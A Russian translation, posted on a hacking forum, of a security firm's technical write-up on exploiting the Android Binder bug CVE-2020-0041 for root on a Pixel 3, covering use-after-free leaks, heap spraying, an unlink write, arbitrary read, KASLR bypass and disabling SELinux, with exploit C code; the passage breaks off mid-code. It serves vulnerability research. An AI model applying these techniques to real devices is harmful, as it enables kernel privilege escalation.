• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатация CVE-2020-0041 - Часть 2: Эскалация до рута

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Эксплуатация ядра с CVE-2020-0041 для получения привилегий root.

Несколько месяцев назад мы обнаружили и эксплуатировали ошибку в драйвере Binder, о которой мы сообщили Google 10 декабря 2019 года. Эта ошибка была включена в бюллетень по безопасности Android за март 2020 года (https://source.android.com/security/bulletin/2020-03-01#kernel-components) , в CVE-2020-0041.

В предыдущем посте (https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/) мы описали ошибку и ее использование для выхода из песочницы Google Chrome. Если вы не читали этот пост, сделайте это сейчас, чтобы понять, какую ошибку мы используем и какие примитивы у нас есть. В этом посте мы опишем, как атаковать ядро и получить права root на устройстве Pixel 3, используя ту же ошибку.

Напоминание: примитивы повреждения памяти

Как описано в нашем предыдущем посте (https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/), мы можем повредить части проверенной транзакции Binder, пока она обрабатывается драйвером. Есть два этапа, на которых используются эти значения, которые мы могли бы использовать для прицеливания для нашей атаки:

1. Когда транзакция получена, она обрабатывается компонентами пользовательского пространства. Это включает в себя libbinder (или libhwbinder, если используется /dev/hwbinder), а также верхние уровни. Это то, что мы использовали для атаки на процесс браузера Chrome в предыдущем посте (https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/).

2. Когда пользовательское пространство завершено с буфером транзакций, оно просит драйвер освободить буфер с помощью команды BC_FREE_BUFFER. Это приводит к тому, что драйвер обрабатывает буфер транзакций.

Давайте проанализируем код очистки буфера транзакции (https://android.googlesource.com/ke...id-10.0.0_r0.42/drivers/android/binder.c#2416) в драйвере, учитывая, что мы могли испортить данные транзакции:

C:
static void binder_transaction_buffer_release(struct binder_proc *proc,
                          struct binder_buffer *buffer,
                          binder_size_t failed_at,
                          bool is_failure)
{
    int debug_id = buffer->debug_id;
    binder_size_t off_start_offset, buffer_offset, off_end_offset;

    binder_debug(BINDER_DEBUG_TRANSACTION,
             "%d buffer release %d, size %zd-%zd, failed at %llx\n",
             proc->pid, buffer->debug_id,
             buffer->data_size, buffer->offsets_size,
             (unsigned long long)failed_at);

    if (buffer->target_node)
[1]     binder_dec_node(buffer->target_node, 1, 0);

    off_start_offset = ALIGN(buffer->data_size, sizeof(void *));
    off_end_offset = is_failure ? failed_at :
                off_start_offset + buffer->offsets_size;
[2]    for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
         buffer_offset += sizeof(binder_size_t)) {
        struct binder_object_header *hdr;
        size_t object_size;
        struct binder_object object;
        binder_size_t object_offset;

        binder_alloc_copy_from_buffer(&proc->alloc, &object_offset,
                          buffer, buffer_offset,
                          sizeof(object_offset));
        object_size = binder_get_object(proc, buffer,
                        object_offset, &object);
        if (object_size == 0) {
            pr_err("transaction release %d bad object at offset %lld, size %zd\n",
                   debug_id, (u64)object_offset, buffer->data_size);
            continue;
        }
        hdr = &object.hdr;
        switch (hdr->type) {
        case BINDER_TYPE_BINDER:
        case BINDER_TYPE_WEAK_BINDER: {
            struct flat_binder_object *fp;
            struct binder_node *node;

            fp = to_flat_binder_object(hdr);
[3]         node = binder_get_node(proc, fp->binder);
            if (node == NULL) {
                pr_err("transaction release %d bad node %016llx\n",
                       debug_id, (u64)fp->binder);
                break;
            }
            binder_debug(BINDER_DEBUG_TRANSACTION,
                     "        node %d u%016llx\n",
                     node->debug_id, (u64)node->ptr);
[4]         binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER,
                    0);
            binder_put_node(node);
        } break;

...

        case BINDER_TYPE_FDA: {
...
            /*
             * the source data for binder_buffer_object is visible
             * to user-space and the @buffer element is the user
             * pointer to the buffer_object containing the fd_array.
             * Convert the address to an offset relative to
             * the base of the transaction buffer.
             */
[5]         fda_offset =
                (parent->buffer - (uintptr_t)buffer->user_data) +
                fda->parent_offset;
            for (fd_index = 0; fd_index < fda->num_fds;
                 fd_index++) {
                u32 fd;
                binder_size_t offset = fda_offset +
                    fd_index * sizeof(fd);

                binder_alloc_copy_from_buffer(&proc->alloc,
                                  &fd,
                                  buffer,
                                  offset,
                                  sizeof(fd));
[6]             task_close_fd(proc, fd);
            }
        } break;
        default:
            pr_err("transaction release %d bad object type %x\n",
                debug_id, hdr->type);
            break;
        }
    }
}

В [1] драйвер проверяет, существует ли целевой узел Binder для текущей транзакции, и, если он существует, драйвер уменьшает свой счетчик ссылок. Это интересно, поскольку он может инициировать освобождение такого узла, если его счетчик ссылок достигает нуля, но у нас нет контроля над этим указателем.

В [2] драйвер перебирает все объекты в транзакции и входит в оператор switch, где для каждого типа объекта выполняется необходимая очистка. Для типов BINDER_TYPE_BINDER и BINDER_TYPE_WEAK_BINDER очистка включает поиск объекта с использованием fp->binder в [3] и затем уменьшение счетчика ссылок в [4]. Поскольку fp->binder читается из буфера транзакций, мы можем на самом деле преждевременно освободить ссылки на узлы, заменив это значение другим. Это, в свою очередь, может привести к Использованию-После-Освобождения объектов binder_node.

Наконец, для объектов BINDER_TYPE_FDA мы можем испортить поле parent->buffer, используемое в [5], и в конечном итоге закрыть произвольные файловые дескрипторы в удаленном процессе.

В нашем эксплоите мы нацелены на подсчет ссылок объектов BINDER_TYPE_BINDER, чтобы вызвать Использование-После-Освобождения для объектов типа struct binder_node. Это точно такой же тип Использования-После-Освобождения, который мы описали в нашей презентации OffensiveCon (https://labs.bluefrostsecurity.de/files/OffensiveCon2020_bug_collision_tale.pdf) о CVE-2019-2205. Однако некоторые из методов, которые мы использовали в этом эксплоите, больше не доступны нам в последних ядрах.

Используем Binder , чтобы поговорить с самим собой

Драйвер Binder разработан таким образом, что транзакции могут быть отправлены только на дескрипторы, которые вы получили от других процессов или в менеджер контекста (дескриптор 0). В общем, когда кто-то хочет поговорить со службой, он сначала запрашивает дескриптор у менеджера контекста (servicemanager, hwservicemanager или vndservicemanager для трех доменов Binder, используемых в текущих версиях Android).

Если служба создает вспомогательную службу или объект от имени клиента, то служба отправит дескриптор, чтобы клиент мог общаться с новым объектом.

В некоторых ситуациях было бы полезно контролировать оба конца связи, например, иметь лучший контроль времени для условий гонки. В нашем конкретном случае нам требуется знать адрес отображения Binder во время отправки транзакции, чтобы избежать сбоя. Кроме того, чтобы вызвать Использование-После-Освобождения с имеющимся у нас примитивом искажения, процесс получения должен создать узлы Binder с полем fp->binder, равным значению sg_buf, с которым мы искажаем (который принадлежит адресу отправителя пространства).

Самый простой способ удовлетворить все эти ограничения - контролировать как отправляющую, так и принимающую стороны транзакции. В этом случае у нас есть доступ ко всем необходимым значениям, и нам не нужно использовать утечку информации для извлечения их из удаленного процесса.

Однако нам не разрешается регистрировать сервисы через менеджер контекста из непривилегированных приложений, поэтому мы не можем идти по обычному пути. Вместо этого мы использовали службу ITokenManager в домене /dev/hwbinder для настройки канала связи. Насколько нам известно, эта служба впервые была публично использована Gal Beniamini в этом отчете Project Zero (https://bugs.chromium.org/p/project-zero/issues/detail?id=1404):

Обратите внимание, что для передачи экземпляра Binder между процессом A и процессом B может использоваться служба "Token Manager". Этот сервис позволяет вызовам вставлять Binder объекты и извлекать 20-байтовые непрозрачные токены, представляющие их. Впоследствии вызовы могут предоставлять тот же 20-байтовый токен и извлекать ранее вставленный объект Binder из службы. Сервис доступен даже для (неизолированных) контекстов приложения (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).

Мы используем тот же самый механизм в нашем эксплоите, чтобы иметь представление о нашем собственном "процессе". Однако обратите внимание, что "процесс" здесь на самом деле означает не фактический процесс, а структуру binder_proc, связанную с дескриптором файла binder.

Это означает, что мы можем открыть два дескриптора файла Binder, создать токен через первый дескриптор файла и извлечь его из второго. Благодаря этому мы получили дескриптор, принадлежащий первому файловому дескриптору, и теперь можем отправлять транзакции между ними.

Утечка данных binder_node через use-after-free

Узлы Binder используются драйвером двумя различными способами: как часть содержимого транзакции, чтобы передать их из одного процесса в другой, или как цели транзакции. При использовании в качестве части транзакции эти узлы всегда извлекаются из rb-дерева узлов и должным образом подсчитываются. Когда мы вызываем использование после освобождения узла, он также удаляется из rb-дерева. По этой причине у нас могут быть только висячие указатели на освобожденные узлы, когда они используются в качестве целей транзакции, поскольку в этом случае указатели на фактический узел binder_node сохраняются драйвером в transaction→target_node.

Существует довольно много ссылок на target_node в драйвере Binder, но многие из них выполняются в пути отправки транзакции или в отладочном коде. Из других, путь получения транзакции предоставляет нам способ утечки некоторых данных обратно в пользовательскую область:

C:
        struct binder_transaction_data *trd = &tr.transaction_data;

...

        if (t->buffer->target_node) {
            struct binder_node *target_node = t->buffer->target_node;
            struct binder_priority node_prio;

[1]         trd->target.ptr = target_node->ptr;
            trd->cookie =  target_node->cookie;
            node_prio.sched_policy = target_node->sched_policy;
            node_prio.prio = target_node->min_priority;
            binder_transaction_priority(current, t, node_prio,
                            target_node->inherit_rt);
            cmd = BR_TRANSACTION;
        } else {
            trd->target.ptr = 0;
            trd->cookie = 0;
            cmd = BR_REPLY;
        }

...

[2]     if (copy_to_user(ptr, &tr, trsize)) {
            if (t_from)
                binder_thread_dec_tmpref(t_from);

            binder_cleanup_transaction(t, "copy_to_user failed",
                           BR_FAILED_REPLY);

            return -EFAULT;
        }
        ptr += trsize;

В [1] драйвер извлекает два 64-битных значения из target_node в структу transaction_data. Эта структура позднее копируется в пользовательскую область в [2]. Поэтому, если мы получим транзакцию после того, как освободим ее target_node и заменим его другим объектом, мы можем прочитать два 64-битных поля со смещениями, соответствующими ptr и cookie.

Если мы посмотрим на эту структуру в gdb для сборки недавнего ядра pixel 3, мы увидим эти поля со смещениями 0x58 и 0x60 соответственно:

C:
(gdb) pt /o struct binder_node
/* offset    |  size */  type = struct binder_node {
/*    0      |     4 */    int debug_id;
/*    4      |     4 */    spinlock_t lock;
/*    8      |    24 */    struct binder_work {
/*    8      |    16 */        struct list_head {
/*    8      |     8 */            struct list_head *next;
/*   16      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } entry;
/*   24      |     4 */        enum {BINDER_WORK_TRANSACTION = 1, BINDER_WORK_TRANSACTION_COMPLETE, BINDER_WORK_RETURN_ERROR, BINDER_WORK_NODE, BINDER_WORK_DEAD_BINDER, BINDER_WORK_DEAD_BINDER_AND_CLEAR, BINDER_WORK_CLEAR_DEATH_NOTIFICATION} type;

                               /* total size (bytes):   24 */
                           } work;
/*   32      |    24 */    union {
/*                24 */        struct rb_node {
/*   32      |     8 */            unsigned long __rb_parent_color;
/*   40      |     8 */            struct rb_node *rb_right;
/*   48      |     8 */            struct rb_node *rb_left;

                                   /* total size (bytes):   24 */
                               } rb_node;
/*                16 */        struct hlist_node {
/*   32      |     8 */            struct hlist_node *next;
/*   40      |     8 */            struct hlist_node **pprev;

                                   /* total size (bytes):   16 */
                               } dead_node;

                               /* total size (bytes):   24 */
                           };
/*   56      |     8 */    struct binder_proc *proc;
/*   64      |     8 */    struct hlist_head {
/*   64      |     8 */        struct hlist_node *first;

                               /* total size (bytes):    8 */
                           } refs;
/*   72      |     4 */    int internal_strong_refs;
/*   76      |     4 */    int local_weak_refs;
/*   80      |     4 */    int local_strong_refs;
/*   84      |     4 */    int tmp_refs;
/*   88      |     8 */    binder_uintptr_t ptr;
/*   96      |     8 */    binder_uintptr_t cookie;
/*  104      |     1 */    struct {
/*  104: 7   |     1 */        u8 has_strong_ref : 1;
/*  104: 6   |     1 */        u8 pending_strong_ref : 1;
/*  104: 5   |     1 */        u8 has_weak_ref : 1;
/*  104: 4   |     1 */        u8 pending_weak_ref : 1;

                               /* total size (bytes):    1 */
                           };
/*  105      |     2 */    struct {
/*  105: 6   |     1 */        u8 sched_policy : 2;
/*  105: 5   |     1 */        u8 inherit_rt : 1;
/*  105: 4   |     1 */        u8 accept_fds : 1;
/*  105: 3   |     1 */        u8 txn_security_ctx : 1;
/* XXX  3-bit hole   */
/*  106      |     1 */        u8 min_priority;

                               /* total size (bytes):    2 */
                           };
/*  107      |     1 */    bool has_async_transaction;
/* XXX  4-byte hole  */
/*  112      |    16 */    struct list_head {
/*  112      |     8 */        struct list_head *next;
/*  120      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } async_todo;

                           /* total size (bytes):  128 */
                         }

Поэтому нам нужно найти объекты, которые мы можем размещать и освобождать по желанию, и которые содержат интересные данные в этих смещениях. Когда мы первоначально сообщали об этой ошибке в Google, мы создали минимальный эксплоит, который перезаписал selinux_enforcing, и мы использовали kgsl_drawobj_sync, который считывает указатель на себя и указатель на функцию ядра. Этого было достаточно для этого минимального POC, но не для полного root эксплойта, как мы здесь описываем.

Для полного эксплоита мы использовали тот же объект, что и в нашем эксплоите CVE-2019-2025: структура epitem, используемая для отслеживания просматриваемых файлов в eventpoll:

C:
(gdb) pt /o struct epitem
    /* offset    |  size */  type = struct epitem {
    /*    0      |    24 */    union {
    /*                24 */        struct rb_node {
    /*    0      |     8 */            unsigned long __rb_parent_color;
    /*    8      |     8 */            struct rb_node *rb_right;
    /*   16      |     8 */            struct rb_node *rb_left;

                                       /* total size (bytes):   24 */
                                   } rbn;
    /*                16 */        struct callback_head {
    /*    0      |     8 */            struct callback_head *next;
    /*    8      |     8 */            void (*func)(struct callback_head *);

                                       /* total size (bytes):   16 */
                                   } rcu;

                                   /* total size (bytes):   24 */
                               };
    /*   24      |    16 */    struct list_head {
    /*   24      |     8 */        struct list_head *next;
    /*   32      |     8 */        struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } rdllink;
    /*   40      |     8 */    struct epitem *next;
    /*   48      |    12 */    struct epoll_filefd {
    /*   48      |     8 */        struct file *file;
    /*   56      |     4 */        int fd;

                                   /* total size (bytes):   12 */
                               } ffd;
    /*   60      |     4 */    int nwait;
    /*   64      |    16 */    struct list_head {
    /*   64      |     8 */        struct list_head *next;
    /*   72      |     8 */        struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } pwqlist;
    /*   80      |     8 */    struct eventpoll *ep;

    /*   88      |    16 */    struct list_head {
    /*   88      |     8 */        struct list_head *next;
    /*   96      |     8 */        struct list_head *prev;
   
                                   /* total size (bytes):   16 */
                               } fllink;

    /*  104      |     8 */    struct wakeup_source *ws;
    /*  112      |    16 */    struct epoll_event {
    /*  112      |     4 */        __u32 events;
    /* XXX  4-byte hole  */
    /*  120      |     8 */        __u64 data;

                                   /* total size (bytes):   16 */
                               } event;

                               /* total size (bytes):  128 */
                             }
Как видно выше, связанный список fllink перекрывается с "утекшими" полями. Этот список используется eventpoll для связывания всех структур epitem, которые просматривают один и тот же структурный файл. Таким образом, мы можем пропустить пару указателей ядра.

Здесь есть несколько возможностей, но давайте рассмотрим, как будут выглядеть структуры данных, если у нас есть только одна такая структура epitem для конкретного файла структуры:

1.png

Поэтому, если мы получим содержимое fllink для epitem на картинке выше, мы бы выучили два идентичных указателя в файловой структуре. Теперь рассмотрим, что произойдет, если у нас будет вторая epitem в том же файле:

2.png

В этом случае, если мы получим данные из обоих epitem одновременно, мы будем изучать их адреса, а также адрес соответствующего файла структуры.

В нашем эксплоите мы используем оба этих трюка, чтобы раскрыть указатель на структурный файл и адрес освобожденных узлов, прежде чем использовать их для примитива записи.

Однако обратите внимание, что для утечки данных нам нужно оставить отложенную транзакцию в очереди, пока мы не сможем вызвать ошибку и освободить binder_node. Эксплоит делает это, имея выделенные потоки для каждой ожидающей транзакции, а затем уменьшает количество ссылок столько раз, сколько требуется для освобождения узла. После того, как это произойдет, мы можем получить данные из освобожденного буфера в любое удобное время, столько раз, сколько ожидающих транзакций мы создали.

Примитив памяти WRITE

Чтобы идентифицировать примитив записи в память, мы обратимся к другому использованию поля transaction->target_node: уменьшение числа ссылок в binder_transaction_buffer_release, обсуждавшееся ранее. Предположим, мы заменили освобожденный узел полностью контролируемым объектом. В этом случае драйвер уменьшает счетчик ссылок узла следующим кодом:

C:
static bool binder_dec_node_nilocked(struct binder_node *node,
                     int strong, int internal)
{
    struct binder_proc *proc = node->proc;

    assert_spin_locked(&node->lock);
    if (proc)
        assert_spin_locked(&proc->inner_lock);
    if (strong) {
        if (internal)
            node->internal_strong_refs--;
        else
            node->local_strong_refs--;
        if (node->local_strong_refs || node->internal_strong_refs)
            return false;
    } else {
        if (!internal)
            node->local_weak_refs--;
        if (node->local_weak_refs || node->tmp_refs ||
                !hlist_empty(&node->refs))
            return false;
    }

    if (proc && (node->has_strong_ref || node->has_weak_ref)) {
        if (list_empty(&node->work.entry)) {
            binder_enqueue_work_ilocked(&node->work, &proc->todo);
            binder_wakeup_proc_ilocked(proc);
        }
[1] } else {
        if (hlist_empty(&node->refs) && !node->local_strong_refs &&
            !node->local_weak_refs && !node->tmp_refs) {
            if (proc) {
                binder_dequeue_work_ilocked(&node->work);
                rb_erase(&node->rb_node, &proc->nodes);
                binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                         "refless node %d deleted\n",
                         node->debug_id);
            } else {
[2]             BUG_ON(!list_empty(&node->work.entry));
                spin_lock(&binder_dead_nodes_lock);
                /*
                 * tmp_refs could have changed so
                 * check it again
                 */
                if (node->tmp_refs) {
                    spin_unlock(&binder_dead_nodes_lock);
                    return false;
                }
[3]             hlist_del(&node->dead_node);
                spin_unlock(&binder_dead_nodes_lock);
                binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                         "dead node %d deleted\n",
                         node->debug_id);
            }
            return true;
        }
    }
    return false;
}

Мы можем настроить данные узла так, чтобы мы достигли ветви else в [1] и убедились, что node->proc имеет значение NULL. В этом случае мы сначала достигаем проверки list_empty в [2]. Чтобы обойти эту проверку, нам нужно настроить пустой список (то есть next и prev указывают на сам list_head), поэтому нам нужно сначала сделать утечку адреса узла.

Как только мы обойдем проверку в [2], мы можем достичь hlist_del в [3] с контролируемыми данными. Функция выполняет следующие операции:

C:
static inline void __hlist_del(struct hlist_node *n)
{
    struct hlist_node *next = n->next;
    struct hlist_node **pprev = n->pprev;

    WRITE_ONCE(*pprev, next);
    if (next)
        next->pprev = pprev;
}

static inline void hlist_del(struct hlist_node *n)
{
    __hlist_del(n);
    n->next = LIST_POISON1;
    n->pprev = LIST_POISON2;
}

Это сводится к классическому примитиву unlink, где мы можем установить *X = Y и *(Y + 8) = X. Поэтому, имея два доступных для записи адреса ядра, мы можем испортить некоторые из их данных, используя это. Кроме того, если мы установим next = NULL, мы можем выполнить одну 8-байтовую запись NULL, имея только один адрес ядра.

Перераспределение освобожденных узлов с произвольным содержимым

Шаги для получения примитива unlink, приводящего к повреждению памяти, описанного выше, предполагают, что мы можем заменить освобожденный объект контролируемым объектом. Нам не нужен полный контроль над объектом, но достаточно просто пройти все проверки и запустить примитив hlist_del без сбоев.

Чтобы добиться этого, мы использовали хорошо известную технику: распыление управляющих сообщений через системный вызов sendmsg. Код для этого системного вызова выглядит следующим образом:

C:
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
             struct msghdr *msg_sys, unsigned int flags,
             struct used_address *used_address,
             unsigned int allowed_msghdr_flags)
{
    struct compat_msghdr __user *msg_compat =
        (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
        __attribute__ ((aligned(sizeof(__kernel_size_t))));
    /* 20 is size of ipv6_pktinfo */
    unsigned char *ctl_buf = ctl;
    int ctl_len;
    ssize_t err;

...

        if (ctl_len > sizeof(ctl)) {
[1]         ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /*
         * Careful! Before this, msg_sys->msg_control contains a user pointer.
         * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
         * checking falls down on this.
         */
[2]     if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }

...


out_freectl:
    if (ctl_buf != ctl)
[3]    sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out_freeiov:
    kfree(iov);
    return err;
}

В [1] буфер выделяется в куче ядра, если запрошенная длина управляющего сообщения больше, чем локальный буфер ctl. В [2] управляющее сообщение копируется из пользовательского пространства, и, наконец, после обработки сообщения выделенный буфер освобождается в [3].

Мы используем блокирующий вызов, чтобы сделать системный вызов блокированным после заполнения буфера сокета назначения, поэтому блокируем после потока между точками [2] и [3]. Таким образом, мы можем контролировать срок службы заменяемого объекта.

Мы также могли бы использовать подход, использованный Jann Horn в его эксплоите PROCA (https://googleprojectzero.blogspot.com/2020/02/mitigations-are-attack-surface-too.html): позволить завершить вызов sendmsg и немедленно перераспределить объект, например, с помощью дескриптор файла signalfd. Это дает преимущество, заключающееся в том, что для каждого распределения не требуется отдельный поток, но в противном случае результаты должны быть довольно схожими.

В любом случае, используя этот тип распыления, мы можем перераспределить освобожденный узел binder_node с почти полным контролем, как мы требуем для запуска примитивов записи, описанных ранее. Однако следует отметить, что в случае сбоя в работе нашего распыления, ядро в итоге выйдет из строя из-за количества операций и проверок, выполняемых с освобожденной памятью.

Тем не менее, у этого use-after-free есть очень приятное свойство: пока мы не запускаем примитив записи, мы можем просто закрыть дескриптор связующего файла, и ядро не заметит ничего плохого.

Таким образом, прежде чем мы попытаемся запустить примитив записи, мы используем примитив утечки, чтобы убедиться, что мы успешно перераспределили узел. Мы можем сделать это, просто имея большое количество ожидающих транзакций и читая по одной, каждый раз, когда нам нужно извлечь некоторые данные из освобожденного объекта. Если данные не соответствуют ожидаемым, мы можем просто закрыть дескриптор Binder файла и повторить попытку.

Это свойство делает эксплоит достаточно надежным даже при наличии относительно ненадежных перераспределений.

Получение произвольного чтения примитива

На данный момент мы используем ту же технику произвольного чтения, которая описана в докладе OffensiveCon 2020. То есть мы испортили file->f_inode и используем следующий код (https://android.googlesource.com/kernel/msm/+/refs/tags/android-10.0.0_r0.42/fs/ioctl.c#671) для чтения:

C:
int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd,
         unsigned long arg)
{
    int error = 0;
    int __user *argp = (int __user *)arg;
    struct inode *inode = file_inode(filp);

    switch (cmd) {

...

    case FIGETBSZ:
        return put_user(inode->i_sb->s_blocksize, argp);

...

Если вы посмотрите на наши слайды, еще в конце 2018 года мы использовали Binder, чтобы обойти PAN и иметь контролируемые данные в контролируемом месте. Это означает, что мы больше не можем использовать распыление для binder, и мы должны найти другое решение.

Решение, которое мы нашли, заключалось в том, чтобы направить поле f_inode прямо в структуру epitema. Эта структура содержит полностью управляемое 64-битное поле: поле event.data. Мы можем изменить это поле, используя ep_ctl (efd, EPOLL_CTL_MOD, fd, & event). Таким образом, если мы выровняем поле данных с полем inode-> i_sb, мы сможем выполнить произвольное чтение.

Следующее изображение показывает настройки графически:

3.png


Обратите внимание, что мы также повредили поле fllink.next epitem, которое теперь указывает обратно на поле file-> f_inode из-за нашего примитива записи. Это может быть проблемой, если это поле когда-либо используется, но, поскольку мы являемся единственными пользователями этих экземпляров структуры file и epitem, нам просто нужно избегать вызова любого API, который их использует, и у нас все будет хорошо.

На основе описанной выше установки мы можем теперь создать произвольный примитив чтения следующим образом:

C:
uint64_t read32(uint64_t addr) {
   struct epoll_event evt;
   evt.events = 0;
   evt.data.u64 = addr - 24;
   int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
   uint32_t test = 0xdeadbeef;
   ioctl(pipes[0], FIGETBSZ, &test);
   return test;
}

uint64_t read64(uint64_t addr) {
   uint32_t lo = read32(addr);
   uint32_t hi = read32(addr+4);

   return (((uint64_t)hi) << 32) | lo;
}

Обратите внимание, что мы установили поле данных epitem на addr-24, где 24 - это смещение s_blocksize в структуре суперблока. Кроме того, хотя s_blocksize в принципе имеет длину 64 бита, код ioctl копирует только 32-битные данные обратно в пользовательское пространство, поэтому нам нужно читать дважды, если мы хотим прочитать 64-битные значения.

Теперь, когда у нас есть произвольное чтение, и мы знаем адрес файла структуры из нашей первоначальной утечки, мы можем просто прочитать его поле f_op, чтобы получить указатель ядра .text. Это тогда приводит к полному обходу KASLR:

C:
/* Step 1: leak a pipe file address */

file = node_new("leak_file");

/* Only works on file implementing the 'epoll' function. */
while (!node_realloc_epitem(file, pipes[0]))
   node_reset(file);

uint64_t file_addr = file->file_addr;
log_info("[+] pipe file: 0x%lx\n", file_addr);


/* Step 2: leak epitem address */
struct exp_node *epitem_node = node_new("epitem");
while (!node_kaddr_disclose(file, epitem_node))
   node_reset(epitem_node);

printf("[*] file epitem at %lx\n", file->kaddr);

/*
* Alright, now we want to do a write8 to set file->f_inode.
* Given the unlink primitive, we'll set file->f_inode = epitem + 80
* and epitem + 88 = &file->f_inode.
*
* With this we can change f_inode->i_sb by modifying the epitem data,
* and get an arbitrary read through ioctl.
*
* This is corrupting the fllink, so we better don't touch anything there!
*/

struct exp_node *write8_inode = node_new("write8_inode");
node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20);

printf("[*] Write done, should have arbitrary read now.\n");
uint64_t fop = read64(file_addr + 0x28);
printf("[+] file operations: %lx\n", fop);

kernel_base = fop - OFFSET_PIPE_FOP;
printf("[+] kernel base: %lx\n", kernel_base);

Отключение SELinux и настройка произвольного примитива записи

Теперь, когда мы знаем базовый адрес ядра, мы можем использовать наш примитив записи, чтобы записать NULL qword над переменной selinux_enforcing и установить SELinux в разрешающий режим. Наш эксплоит делает это перед установкой произвольного примитива записи, потому что метод, который мы придумали, на самом деле требует отключения SELinux.

Рассмотрев несколько альтернатив, мы остановились на атаке на таблицы sysctl, которые ядро использует для обработки /proc/sys и всех данных. Существует ряд глобальных таблиц, описывающих эти переменные, таких как kern_table ниже (https://android.googlesource.com/kernel/msm/+/refs/tags/android-10.0.0_r0.42/kernel/sysctl.c#266):



C:
static struct ctl_table kern_table[] = {
    {
        .procname   = "sched_child_runs_first",
        .data       = &sysctl_sched_child_runs_first,
        .maxlen     = sizeof(unsigned int),
        .mode       = 0644,
        .proc_handler   = proc_dointvec,
    },
#if defined(CONFIG_PREEMPT_TRACER) || defined(CONFIG_IRQSOFF_TRACER)
    {
        .procname       = "preemptoff_tracing_threshold_ns",
        .data           = &sysctl_preemptoff_tracing_threshold_ns,
        .maxlen         = sizeof(unsigned int),
        .mode           = 0644,
        .proc_handler   = proc_dointvec,
    },
    {
        .procname       = "irqsoff_tracing_threshold_ns",
        .data           = &sysctl_irqsoff_tracing_threshold_ns,
        .maxlen         = sizeof(unsigned int),
        .mode           = 0644,
        .proc_handler   = proc_dointvec,
    },

...

Например, первая переменная называется "sched_child_runs_first", что означает, что к ней можно получить доступ через /proc/sys/kernel/ sched_child_runs_first. Файловый режим - 0644, поэтому он доступен для записи только для пользователя root (конечно, могут применяться ограничения SELinux) и является целым числом. Чтение и запись обрабатываются функцией proc_dointvec, которая преобразует целое число в строковое представление и из него при обращении к файлу. Поле данных указывает на то, где переменная находится в памяти, что делает ее интересной целью для получения произвольного примитива чтения/записи.

Сначала мы попытались нацелиться на некоторые из этих переменных, но потом поняли, что эта таблица фактически используется только во время инициализации ядра. Это означает, что повреждение содержимого этой таблицы не очень полезно для нас. Однако эта таблица используется для создания набора структур в памяти, которые определяют существующие переменные sysctl и их разрешения.

Эти структуры можно найти, проанализировав структуру sysctl_table_root (https://android.googlesource.com/ke...android-10.0.0_r0.42/fs/proc/proc_sysctl.c#62), которая содержит rb-дерево узлов ctl_node, которые затем указывают на таблицы ctl_table, определяющие сами переменные. Поскольку у нас есть примитив чтения, мы можем проанализировать дерево и найти в нем самый левый узел, который не имеет дочерних узлов.

При нормальных обстоятельствах это дерево выглядит так, как показано на рисунке ниже (представляет только левые и дочерние соединения, чтобы диаграмма была несколько читабельной):

4.png

Если вы посмотрите на алфавитный порядок этих узлов, то увидите, что все левые дочерние узлы отсортированы по убыванию в алфавитном порядке. Фактически, это правило балансировки в этих деревьях: левые дочерние элементы должны быть ниже текущего узла, а правые дочерние элементы выше.

Таким образом, чтобы обеспечить сбалансированность дерева, мы добавляем левого потомка к крайнему левому узлу с именем, начинающимся с "aaa", используя наш примитив write8. Следующий код находит самый левый узел дерева в prev_node, который будет точкой вставки для нашего поддельного узла:

C:
/* Now we can prepare our magic sysctl node as s child of the left-most node */

uint64_t sysctl_table_root = kernel_base + SYSCTL_TABLE_ROOT_OFFSET;
printf("[+] sysctl_table_root = %lx\n", sysctl_table_root);
uint64_t ctl_dir = sysctl_table_root + 8;

uint64_t node = read64(ctl_dir + 80);
uint64_t prev_node;
while (node != 0) {
   prev_node = node;
   node = read64(node + 0x10);
}

Чтобы вставить новый узел, нам нужно найти место в памяти ядра для него. Это необходимо, потому что современные телефоны поставляются с включенным PAN (Privileged Access Never), что предотвращает случайное использование ядром пользовательской памяти. Учитывая, что у нас есть произвольный примитив чтения, мы разбираемся с этим, анализируя таблицы страниц нашего процесса, начиная с current->mm->pgd, и определяя адрес одной из наших страниц в Physmap. Кроме того, использование псевдонима Physmap на нашей собственной странице пользовательского пространства идеально, поскольку мы можем легко редактировать узлы, чтобы изменить адрес данных, на которые мы хотим ориентироваться, что дает нам гибкий примитив для чтения/записи.

Мы разрешим псевдоним Physmap следующим образом:

C:
/* Now resolve our mapping at 2MB. But first read memstart_addr so we can do phys_to_virt() */

memstart_addr = read64(kernel_base + MEMSTART_ADDR_OFFSET);
printf("[+] memstart_addr: 0x%lx\n", memstart_addr);
uint64_t mm = read64(current + MM_OFFSET);
uint64_t pgd = read64(mm + 0x40);
uint64_t entry = read64(pgd);

